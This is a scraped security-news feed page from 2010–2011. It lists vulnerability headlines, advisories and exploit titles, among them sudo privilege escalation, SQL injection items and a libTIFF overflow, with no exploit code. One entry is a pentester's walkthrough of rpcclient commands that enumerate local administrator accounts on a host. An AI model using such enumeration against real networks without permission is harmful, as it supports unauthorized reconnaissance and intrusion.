  libTIFF CCITT Group 4 Encoded TIFF Image Buffer Overflow Vulnerability

  Tags:  group ccitt libtiff tiff-image buffer-overflow-vulnerability image-buffer  

• April 04, 2011
• 0:00

  Vuln: libTIFF CCITT Group 4 Encoded TIFF Image Buffer Overflow Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  libTIFF CCITT Group 4 Encoded TIFF Image Buffer Overflow Vulnerability

  Tags:  group ccitt libtiff tiff-image buffer-overflow-vulnerability image-buffer  

• March 31, 2011
• 9:21

  Hacker Group Defends Exposing McAfee Website Vulnerabilities

   » ‎ Packet Storm Security Headlines
  Hacker Group Defends Exposing McAfee Website Vulnerabilities

  Tags:  group hacker defends hacker-group  

• March 30, 2011
• 0:00

  Vuln: libTIFF CCITT Group 4 Encoded TIFF Image Buffer Overflow Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  libTIFF CCITT Group 4 Encoded TIFF Image Buffer Overflow Vulnerability

  Tags:  group ccitt libtiff tiff-image buffer-overflow-vulnerability image-buffer  

• March 22, 2011
• 14:26

  Cisco IPSec VPN Implementation Group Name Enumeration

   » ‎ Packet Storm Security Advisories
  The Cisco IPSec VPN implementation suffers from a group name enumeration vulnerability. Systems affected include the ASA 5500 Series Adaptive Security Appliances, Cisco PIX 500 Series Security Appliances, Cisco VPN 3000 Series Concentrators.

  Tags:  group implementation series cisco-vpn cisco-ipsec cisco-pix vpn-implementation security-appliances series-concentrators  

• 14:26

  Cisco IPSec VPN Implementation Group Name Enumeration

   » ‎ Packet Storm Security Misc. Files
  The Cisco IPSec VPN implementation suffers from a group name enumeration vulnerability. Systems affected include the ASA 5500 Series Adaptive Security Appliances, Cisco PIX 500 Series Security Appliances, Cisco VPN 3000 Series Concentrators.

  Tags:  group implementation series cisco-vpn cisco-ipsec cisco-pix vpn-implementation security-appliances series-concentrators  

• March 08, 2011
• 17:02

  Hacker Group Vows Cyberwar On US Government, Businesses

   » ‎ Packet Storm Security Headlines
  Hacker Group Vows Cyberwar On US Government, Businesses

  Tags:  vows group hacker hacker-group government-businesses  

• March 04, 2011
• 0:00

  Vuln: libTIFF CCITT Group 4 Encoded TIFF Image Buffer Overflow Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  libTIFF CCITT Group 4 Encoded TIFF Image Buffer Overflow Vulnerability

  Tags:  group ccitt libtiff tiff-image buffer-overflow-vulnerability image-buffer  

• March 03, 2011
• 0:00

  Vuln: libTIFF CCITT Group 4 Encoded TIFF Image Buffer Overflow Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  libTIFF CCITT Group 4 Encoded TIFF Image Buffer Overflow Vulnerability

  Tags:  group ccitt libtiff tiff-image buffer-overflow-vulnerability image-buffer  

• January 28, 2011
• 8:43

  WikiLeaks Spin-Off Group Launches New Site

   » ‎ Packet Storm Security Headlines
  WikiLeaks Spin-Off Group Launches New Site

  Tags:  wikileaks launches group  

• January 26, 2011
• 14:53

  Conficker Working Group Talks Up Successes

   » ‎ Packet Storm Security Headlines
  Conficker Working Group Talks Up Successes

  Tags:  conficker group working group-talks working-group successes  

• January 21, 2011
• 13:12

  Mandriva Linux Security Advisory 2011-018

   » ‎ Packet Storm Security Advisories
  Mandriva Linux Security Advisory 2011-018 - A patch for parse.c in sudo does not properly interpret a system group in the sudoers file during authorization decisions for a user who belongs to that group, which allows local users to leverage an applicable sudoers file and gain root privileges via a sudo command. NOTE: this vulnerability exists because of a CVE-2009-0034 regression. check.c in sudo 1.7.x before 1.7.4p5, when a Runas group is configured, does not require a password for command execution that involves a gid change but no uid change, which allows local users to bypass an intended authentication requirement via the -g option to a sudo command.

  Tags:  group sudo command gain-root-privileges sudo-command mandriva-linux  

• 13:12

  Mandriva Linux Security Advisory 2011-018

   » ‎ Packet Storm Security Recent Files
  Mandriva Linux Security Advisory 2011-018 - A patch for parse.c in sudo does not properly interpret a system group in the sudoers file during authorization decisions for a user who belongs to that group, which allows local users to leverage an applicable sudoers file and gain root privileges via a sudo command. NOTE: this vulnerability exists because of a CVE-2009-0034 regression. check.c in sudo 1.7.x before 1.7.4p5, when a Runas group is configured, does not require a password for command execution that involves a gid change but no uid change, which allows local users to bypass an intended authentication requirement via the -g option to a sudo command.

  Tags:  group sudo command gain-root-privileges sudo-command mandriva-linux  

• 13:12

  Mandriva Linux Security Advisory 2011-018

   » ‎ Packet Storm Security Misc. Files
  Mandriva Linux Security Advisory 2011-018 - A patch for parse.c in sudo does not properly interpret a system group in the sudoers file during authorization decisions for a user who belongs to that group, which allows local users to leverage an applicable sudoers file and gain root privileges via a sudo command. NOTE: this vulnerability exists because of a CVE-2009-0034 regression. check.c in sudo 1.7.x before 1.7.4p5, when a Runas group is configured, does not require a password for command execution that involves a gid change but no uid change, which allows local users to bypass an intended authentication requirement via the -g option to a sudo command.

  Tags:  group sudo command gain-root-privileges sudo-command mandriva-linux  

• January 20, 2011
• 18:29

  Ubuntu Security Notice USN-1046-1

   » ‎ Packet Storm Security Advisories
  Ubuntu Security Notice 1046-1 - Alexander Kurtz discovered that sudo would not prompt for a password when a group was specified in the Runas_Spec. A local attacker could exploit this to execute arbitrary code as the specified group if sudo was configured to allow the attacker to use a program as this group. The group Runas_Spec is not used in the default installation of Ubuntu.

  Tags:  group ubuntu security alexander-kurtz runas arbitrary-code default-installation  

• 18:29

  Ubuntu Security Notice USN-1046-1

   » ‎ Packet Storm Security Recent Files
  Ubuntu Security Notice 1046-1 - Alexander Kurtz discovered that sudo would not prompt for a password when a group was specified in the Runas_Spec. A local attacker could exploit this to execute arbitrary code as the specified group if sudo was configured to allow the attacker to use a program as this group. The group Runas_Spec is not used in the default installation of Ubuntu.

  Tags:  group ubuntu security alexander-kurtz runas arbitrary-code default-installation  

• 18:29

  Ubuntu Security Notice USN-1046-1

   » ‎ Packet Storm Security Misc. Files
  Ubuntu Security Notice 1046-1 - Alexander Kurtz discovered that sudo would not prompt for a password when a group was specified in the Runas_Spec. A local attacker could exploit this to execute arbitrary code as the specified group if sudo was configured to allow the attacker to use a program as this group. The group Runas_Spec is not used in the default installation of Ubuntu.

  Tags:  group ubuntu security alexander-kurtz runas arbitrary-code default-installation  

• January 19, 2011
• 17:23

  Online Group Accused In iPad Hacking Denies Crime

   » ‎ Packet Storm Security Headlines
  Online Group Accused In iPad Hacking Denies Crime

  Tags:  group accused online  

• January 05, 2011
• 0:00

  Vuln: Todd Miller Sudo Runas Group Local Privilege Escalation Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  Todd Miller Sudo Runas Group Local Privilege Escalation Vulnerability

  Tags:  group sudo runas todd-miller privilege-escalation-vulnerability local-privilege-escalation  

• December 29, 2010
• 14:00

  [webapps / 0day] - PHP-AddressBook v6.2.4 (group.php) SQL Injection Vulnerability

   » ‎ 0day.today (was: 1337day, Inj3ct0r, 1337db)
  [webapps / 0day] - PHP-AddressBook v6.2.4 (group.php) SQL Injection Vulnerability

  Tags:  php-addressbook group day addressbook vulnerability  

• December 21, 2010
• 20:14

  Iran Design Group SQL Injection

   » ‎ Packet Storm Security Exploits
  Iran Design Group suffers from a remote SQL injection vulnerability.

  Tags:  design group iran sql-injection design-group vulnerability  

• 20:14

  Iran Design Group SQL Injection

   » ‎ Packet Storm Security Recent Files
  Iran Design Group suffers from a remote SQL injection vulnerability.

  Tags:  design group iran sql-injection design-group vulnerability  

• 20:14

  Iran Design Group SQL Injection

   » ‎ Packet Storm Security Misc. Files
  Iran Design Group suffers from a remote SQL injection vulnerability.

  Tags:  design group iran sql-injection design-group vulnerability  

• December 02, 2010
• 16:24

  Cisco IPSec VPN Implementation Group Name Enumeration

   » ‎ Packet Storm Security Advisories
  NGS Secure has discovered an enumeration vulnerability in (Cisco) Cisco VPN Concentrator, Cisco PIX and Cisco Adaptive Security Appliance.

  Tags:  group implementation enumeration cisco-vpn cisco-adaptive cisco-ipsec cisco-pix vpn-implementation  

• 16:24

  Cisco IPSec VPN Implementation Group Name Enumeration

   » ‎ Packet Storm Security Recent Files
  NGS Secure has discovered an enumeration vulnerability in (Cisco) Cisco VPN Concentrator, Cisco PIX and Cisco Adaptive Security Appliance.

  Tags:  group implementation enumeration cisco-vpn cisco-adaptive cisco-ipsec cisco-pix vpn-implementation  

• 16:24

  Cisco IPSec VPN Implementation Group Name Enumeration

   » ‎ Packet Storm Security Misc. Files
  NGS Secure has discovered an enumeration vulnerability in (Cisco) Cisco VPN Concentrator, Cisco PIX and Cisco Adaptive Security Appliance.

  Tags:  group implementation enumeration cisco-vpn cisco-adaptive cisco-ipsec cisco-pix vpn-implementation  

• November 26, 2010
• 14:50

  Cisco IOS Software Internet Group Management Protocol Denial of Service Vulnerability

   » ‎ SecuriTeam
  A vulnerability in the Internet Group Management Protocol (IGMP) version 3 implementation of Cisco IOS Software and Cisco IOS XE Software allows a remote unauthenticated attacker to cause a reload of an affected device.

  -

  Make your website safer. Use external penetration testing service. First report ready in one hour!

  Tags:  group internet Software cisco-ios internet-group-management-protocol internet-group-management protocol-igmp  

• November 07, 2010
• 0:00

  Groups Protest New Airport Pat-Down Technique, More Body Scanners

   » ‎ Packet Storm Security Headlines
  Groups Protest New Airport Pat-Down Technique, More Body Scanners

  Tags:  group more technique new body-scanners  

• October 27, 2010
• 0:00

  Vuln: Todd Miller Sudo Runas Group Local Privilege Escalation Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  Todd Miller Sudo Runas Group Local Privilege Escalation Vulnerability

  Tags:  group sudo runas todd-miller privilege-escalation-vulnerability local-privilege-escalation  

• October 05, 2010
• 0:00

  Vuln: Todd Miller Sudo Runas Group Local Privilege Escalation Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  Todd Miller Sudo Runas Group Local Privilege Escalation Vulnerability

  Tags:  group sudo runas todd-miller privilege-escalation-vulnerability local-privilege-escalation  

• September 28, 2010
• 0:00

  Vuln: Todd Miller Sudo Runas Group Local Privilege Escalation Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  Todd Miller Sudo Runas Group Local Privilege Escalation Vulnerability

  Tags:  group sudo runas todd-miller privilege-escalation-vulnerability local-privilege-escalation  

• September 24, 2010
• 12:00

  Unmanned ocean crossing

   » ‎ Hack a Day
  This is the Pinta, an autonomous sailboat built to attempt an ocean crossing from Ireland to Martinique (in the Caribbean). A group of researchers at Aberystwyth University built her as part of the Microtransat Challenge. To keep tabs on the vessel her creators included an Iridium short burst data modem with a backup system made from a SPOT [...]

  Tags:  group sailboat pinta ireland caribbean unmanned-ocean martinique aberystwyth-university burst-data data-modem robots  

• September 21, 2010
• 0:00

  Vuln: Todd Miller Sudo Runas Group Local Privilege Escalation Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  Todd Miller Sudo Runas Group Local Privilege Escalation Vulnerability

  Tags:  group sudo runas todd-miller privilege-escalation-vulnerability local-privilege-escalation  

• September 15, 2010
• 0:00

  Vuln: Todd Miller Sudo Runas Group Local Privilege Escalation Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  Todd Miller Sudo Runas Group Local Privilege Escalation Vulnerability

  Tags:  group sudo runas todd-miller privilege-escalation-vulnerability local-privilege-escalation  

• September 13, 2010
• 0:00

  Vuln: Todd Miller Sudo Runas Group Local Privilege Escalation Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  Todd Miller Sudo Runas Group Local Privilege Escalation Vulnerability

  Tags:  group sudo runas todd-miller privilege-escalation-vulnerability local-privilege-escalation  

• September 12, 2010
• 8:31

  Group Office 3.5.9 SQL Injection Vulnerability

   » ‎ 0day.today (was: 1337day, Inj3ct0r, 1337db)
  Group Office 3.5.9 SQL Injection Vulnerability

  Tags:  group office sql group-office vulnerability  

• September 11, 2010
• 14:00

  [webapps / 0day] - Group Office 3.5.9 SQL Injection Vulnerability

   » ‎ 0day.today (was: 1337day, Inj3ct0r, 1337db)
  [webapps / 0day] - Group Office 3.5.9 SQL Injection Vulnerability

  Tags:  group office day group-office webapps vulnerability  

• September 07, 2010
• 23:02

  USN-983-1.txt

   » ‎ Packet Storm Security Recent Files
  Ubuntu Security Notice 983-1 - Markus Wuethrich discovered that sudo did not always verify the user when a group was specified in the Runas_Spec. A local attacker could exploit this to execute arbitrary code as root if sudo was configured to allow the attacker to use a program as a group when the attacker was not a part of that group.

  Tags:  sudo group attacker markus-wuethrich wuethrich runas arbitrary-code  

• 23:01

  USN-983-1.txt

   » ‎ Packet Storm Security Advisories
  Ubuntu Security Notice 983-1 - Markus Wuethrich discovered that sudo did not always verify the user when a group was specified in the Runas_Spec. A local attacker could exploit this to execute arbitrary code as root if sudo was configured to allow the attacker to use a program as a group when the attacker was not a part of that group.

  Tags:  sudo group attacker markus-wuethrich wuethrich runas arbitrary-code  

• 0:00

  Vuln: Todd Miller Sudo Runas Group Local Privilege Escalation Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  Todd Miller Sudo Runas Group Local Privilege Escalation Vulnerability

  Tags:  group sudo runas todd-miller privilege-escalation-vulnerability local-privilege-escalation  

• September 06, 2010
• 0:00

  Vuln: maildrop Group Permission Dropping Privilege Escalation Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  maildrop Group Permission Dropping Privilege Escalation Vulnerability

  Tags:  maildrop group permission privilege-escalation-vulnerability group-permission escalation  

• August 25, 2010
• 12:41

  Microsoft Group Convertor DLL Hijacking Exploit (imm.dll)

   » ‎ 0day.today (was: 1337day, Inj3ct0r, 1337db)
  Microsoft Group Convertor DLL Hijacking Exploit (imm.dll)

  Tags:  group microsoft dll convertor  

• August 04, 2010
• 10:00

  Bugtraq: Fwd: {Lostmon´s Group} K-Meleon for windows about:neterror Stack Overflow DoS

   » ‎ SecurityFocus Vulnerabilities
  Fwd: {Lostmon´s Group} K-Meleon for windows about:neterror Stack Overflow DoS

  Tags:  group lostmon fwd stack-overflow k-meleon bugtraq  

• 10:00

  Bugtraq: Fwd: {Lostmon´s Group} Safari for windows Long link DoS

   » ‎ SecurityFocus Vulnerabilities
  Fwd: {Lostmon´s Group} Safari for windows Long link DoS

  Tags:  group lostmon fwd safari-for-windows link-dos  

• August 01, 2010
• 11:00

  Hackaday links: August 1, 2010

   » ‎ Hack a Day
  PCB Group Orders [Phil] wrote in to let us know about the DorkbotPDX group orders. The site makes group PCB orders until a cutoff date or the panel is full. You get three copies of your design with no setup fee for just $5/square inch including domestic postage. Not a bad price. We aren’t affiliated [...]

  Tags:  pcb group hackaday phil group-orders august-1 hackaday links  

• July 17, 2010
• 0:34

  groupoffice-sql.txt

   » ‎ Packet Storm Security Recent Files
  Group Office suffers from a remote SQL injection vulnerability.

  Tags:  group txt office group-office sql-injection vulnerability  

• 0:34

  groupoffice-exec.txt

   » ‎ Packet Storm Security Recent Files
  Group Office version 3.5.9 suffers from a remote command execution vulnerability.

  Tags:  group txt office command-execution group-office vulnerability  

• 0:34

  groupoffice-sql.txt

   » ‎ Packet Storm Security Exploits
  Group Office suffers from a remote SQL injection vulnerability.

  Tags:  group txt office group-office sql-injection vulnerability  

• 0:34

  groupoffice-exec.txt

   » ‎ Packet Storm Security Exploits
  Group Office version 3.5.9 suffers from a remote command execution vulnerability.

  Tags:  group txt office command-execution group-office vulnerability  

• July 16, 2010
• 1:00

  Group Office (comment_id) SQL Injection Vulnerability

   » ‎ 0day.today (was: 1337day, Inj3ct0r, 1337db)
  Group Office (comment_id) SQL Injection Vulnerability

  Tags:  group office sql group-office vulnerability  

• 1:00

  Group Office Remote Command Execution Vulnerability

   » ‎ 0day.today (was: 1337day, Inj3ct0r, 1337db)
  Group Office Remote Command Execution Vulnerability

  Tags:  group office remote command-execution group-office vulnerability  

• July 09, 2010
• 0:00

  Consumer Group Sniffs Congresswoman's Open Wi-Fi

   » ‎ Packet Storm Security Headlines
  Consumer Group Sniffs Congresswoman's Open Wi-Fi

  Tags:  sniff group congresswoman consumer-group wi-fi  

• July 05, 2010
• 1:00

  Xpen Group (show.php) Blind SQL Injection Vulnerability

   » ‎ 0day.today (was: 1337day, Inj3ct0r, 1337db)
  Xpen Group (show.php) Blind SQL Injection Vulnerability

  Tags:  group xpen show group-show sql-injection vulnerability  

• 0:00

  Vuln: Bugzilla Group Selection During Bug Move Information Disclosure Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  Bugzilla Group Selection During Bug Move Information Disclosure Vulnerability

  Tags:  selection bugzilla group information-disclosure-vulnerability group-selection  

• June 30, 2010
• 19:11

  more with rpcclient

   » ‎ Carnal0wnage
  Got asked to help remotely locate local admins on boxes on a network.
  
  rpcclient $> enumalsgroups
  Usage: enumalsgroups builtin|domain [access mask]
  
  rpcclient $> enumalsgroups builtin
  group:[Administrators] rid:[0x220]
  group:[Backup Operators] rid:[0x227]
  group:[Guests] rid:[0x222]
  group:[Network Configuration Operators] rid:[0x22c]
  group:[Power Users] rid:[0x223]
  group:[Remote Desktop Users] rid:[0x22b]
  group:[Replicator] rid:[0x228]
  group:[Users] rid:[0x221]
  
  Now you would think that doing a querygroup would give you the right output, but actually you get a:
  
  rpcclient $> querygroup 0x220
  result was NT_STATUS_NO_SUCH_GROUP
  
  Honestly I have no idea why this doesn't work, it *should*. If anyone knows why it doesn't I know more than one person who would like to know.
  
  Anyway it takes one more step but you can do it this way:
  
  rpcclient $> queryaliasmem
  Usage: queryaliasmem builtin|domain rid [access mask]
  
  rpcclient $> queryaliasmem builtin 0x220
  sid:[S-1-5-21-1214440339-1383384898-839522115-500]
  sid:[S-1-5-21-1214440339-1383384898-839522115-1003]
  sid:[S-1-5-21-2392188729-2485841371-4291725810-512]
  
  Then you can look up who those SIDs belong to
  
  rpcclient $> lookupsids
  Usage: lookupsids [sid1 [sid2 [...]]]
  
  rpcclient $> lookupsids S-1-5-21-1214440339- 1383384898-839522115-500
  S-1-5-21-1214440339-1383384898-839522115-500 PC\Administrator (1)
  
  rpcclient $> lookupsids
  S-1-5-21-1214440339-1383384898-839522115-1003
  S-1-5-21-1214440339-1383384898-839522115-1003 PC\user (1)
  
  rpcclient $> lookupsids
  S-1-5-21-2392188729-2485841371-4291725810-512 rpc_api_pipe: Remote machine 192.168.242.128 pipe \lsarpc fnum 0x4001 returned critical error. Error was Call timed out: server did not respond after 10000 milliseconds result was NT_STATUS_IO_TIMEOUT
  
  Not sure about the 512 (its a MS built-in account I think) but the 1003 was the user I added to the local admins group.

  Tags:  rpcclient group sid admins-group pc-administrator group-power Pentesting  

• June 28, 2010
• 23:01

  ifpgroup-sql.txt

   » ‎ Packet Storm Security Exploits
  IFP Group suffers from a remote SQL injection vulnerability.

  Tags:  group txt ifp sql-injection vulnerability  

• 1:00

  IFP Group SQL Injection Vulnerability

   » ‎ 0day.today (was: 1337day, Inj3ct0r, 1337db)
  IFP Group SQL Injection Vulnerability

  Tags:  group ifp sql vulnerability  

• June 23, 2010
• 1:00

  Axis IT Group SQL Injection Vulnerability

   » ‎ 0day.today (was: 1337day, Inj3ct0r, 1337db)
  Axis IT Group SQL Injection Vulnerability

  Tags:  group sql axis vulnerability  

• June 14, 2010
• 1:00

  Script saudisoftech Group SQL Injecti0n Vulnerability

   » ‎ 0day.today (was: 1337day, Inj3ct0r, 1337db)
  Script saudisoftech Group SQL Injecti0n Vulnerability

  Tags:  group saudisoftech script vulnerability  

• June 07, 2010
• 19:01

  oicgroup-shell.txt

   » ‎ Packet Storm Security Exploits
  OIC Group suffers from a shell upload vulnerability.

  Tags:  group txt oic vulnerability shell  

• June 04, 2010
• 0:00

  Vuln: Bugzilla Group Selection During Bug Move Information Disclosure Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  Bugzilla Group Selection During Bug Move Information Disclosure Vulnerability

  Tags:  selection bugzilla group information-disclosure-vulnerability group-selection  

• May 22, 2010
• 13:00

  ecommercegroup-sql.txt

   » ‎ Packet Storm Security Recent Files
  E-Commerce Group suffers from a remote SQL injection vulnerability.

  Tags:  group e-commerce txt e-commerce-group sql-injection commerce-group  

• 13:00

  ecommercegroup-sql.txt

   » ‎ Packet Storm Security Exploits
  E-Commerce Group suffers from a remote SQL injection vulnerability.

  Tags:  group e-commerce txt e-commerce-group sql-injection commerce-group  

• 1:00

  Mine web group SQL Injection Vulnerability

   » ‎ 0day.today (was: 1337day, Inj3ct0r, 1337db)
  Mine web group SQL Injection Vulnerability

  Tags:  mine group web web-group vulnerability  

• 1:00

  E-commerce Group (cat.php) SQL Injection Vulnerability

   » ‎ 0day.today (was: 1337day, Inj3ct0r, 1337db)
  E-commerce Group (cat.php) SQL Injection Vulnerability

  Tags:  group commerce cat e-commerce-group group-cat commerce-group  

• May 14, 2010
• 3:19

  Two Thirds Of All Phishing Attacks Carried Out By Single Group

   » ‎ Darknet
  Now this is a pretty surprising figure, we all know Phishing has become a big issue in recent years especially for financial institutions, but it still amazes me two-thirds of all attacks can come from a single group! It’s been a major issue concerning computer security in general, consumer privacy and companies like PayPal have [...]
  
  Read the full post at darknet.org.uk

  
  

  

  Tags:  group issue phishing read single-group consumer-privacy financial-institutions phishing  

• April 26, 2010
• 1:00

  IWD Group SQL Injection Vulnerabilities

   » ‎ 0day.today (was: 1337day, Inj3ct0r, 1337db)
  IWD Group SQL Injection Vulnerabilities

  Tags:  group sql iwd  

• April 23, 2010
• 10:00

  Bugtraq: IWD Group SQL Injection Vulnerabilities

   » ‎ SecurityFocus Vulnerabilities
  IWD Group SQL Injection Vulnerabilities

  Tags:  group sql iwd iwd-group  

• April 22, 2010
• 0:00

  Hacker Group Claims Real Ubisoft DRM Crack

   » ‎ Packet Storm Security Headlines
  Hacker Group Claims Real Ubisoft DRM Crack

  Tags:  group hacker claims hacker-group crack  

• March 24, 2010
• 0:00

  Vuln: Puppet Supplementary Groups Information Disclosure Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  Puppet Supplementary Groups Information Disclosure Vulnerability

  Tags:  group supplementary information-disclosure-vulnerability puppet  

• March 16, 2010
• 11:02

  Tax-exempt Geek Group hit with huge tax bill

   » ‎ Hack a Day
  Non-profit hackerspace The Geek Group has been hit with a hefty tax bill despite their tax-exempt status. We featured a boom camera built by the organization back in November. It is the goal of The Geek Group to fulfill the thirst to explore and create by providing facilities, peer group, and camaraderie that make knowledge [...]

  Tags:  group tax geek tax-exempt-status peer-group camaraderie HackIt  

• February 19, 2010
• 8:00

  Dow Group ( news_desc.php ) Remote SQL Injection Exploit

   » ‎ 0day.today (was: 1337day, Inj3ct0r, 1337db)
  Dow Group ( news_desc.php ) Remote SQL Injection Exploit

  Tags:  group news desc sql-injection group-news dow  

• February 16, 2010
• 0:00

  Vuln: maildrop Group Permission Dropping Privilege Escalation Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  maildrop Group Permission Dropping Privilege Escalation Vulnerability

  Tags:  maildrop group permission privilege-escalation-vulnerability group-permission escalation  

• February 12, 2010
• 15:00

  Dow Group (data_desc.php) SQL injection vulnerability

   » ‎ 0day.today (was: 1337day, Inj3ct0r, 1337db)
  Dow Group (data_desc.php) SQL injection vulnerability

  Tags:  group dow desc sql-injection php-sql group-data  

• 14:00

  dowgroupdatadesc-sql.txt

   » ‎ Packet Storm Security Recent Files
  Dow Group suffers from a remote SQL injection vulnerability in data_desc.php.

  Tags:  group txt dow sql-injection vulnerability  

• 14:00

  dowgroupdatadesc-sql.txt

   » ‎ Packet Storm Security Exploits
  Dow Group suffers from a remote SQL injection vulnerability in data_desc.php.

  Tags:  group txt dow sql-injection vulnerability  

• 9:00

  Alqatari Group Version 1.0 Blind SQL Injection Vulnerability

   » ‎ 0day.today (was: 1337day, Inj3ct0r, 1337db)
  Alqatari Group Version 1.0 Blind SQL Injection Vulnerability

  Tags:  alqatari group version group-version sql-injection vulnerability  

• February 09, 2010
• 0:00

  Vuln: Bugzilla Group Selection During Bug Move Information Disclosure Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  Bugzilla Group Selection During Bug Move Information Disclosure Vulnerability

  Tags:  selection bugzilla group information-disclosure-vulnerability group-selection  

• January 26, 2010
• 7:58

  St. Louis Hackerspace: Arch Reactor

   » ‎ Hack a Day
  Here at HackaDay, we are always a fan of a group of hackers coming together to create a place to share ideas, tools, parts, and stories. A group from St. Louis called Arch Reactor have managed to secure a new location, and are having their grand opening this Saturday. From 4-10pm on the 30th, they [...]

  Tags:  reactor group arch st.-louis share-ideas grand-opening news  

• January 19, 2010
• 14:10

  need good resources to learn about group policy domain, admin

   » ‎ remote-exploit & backtrack
  A few years ago i did the A+ and recently i took the MCDST as i managed to get it free as we setup a micorsoft testing centre. i am now working as a desktop support technician in a hospital and am learning alot. i am however becoming frustrated as i really want to learn more about group policy and the server/administration side of things which comes into play alot.
  
  A few years ago i got a complete set of books which is windows 2000 MCSE i was just going to dig them out however is it woth my while reading them or have things changed too much now since server 2003.
  
  I have no more training resource available so i guess im looking for pointers from someone with systems experience to learn about domains, workgroup enviroments and admin/group policy.

  Tags:  group policy admin administration-side domain-admin good-resources General Discussion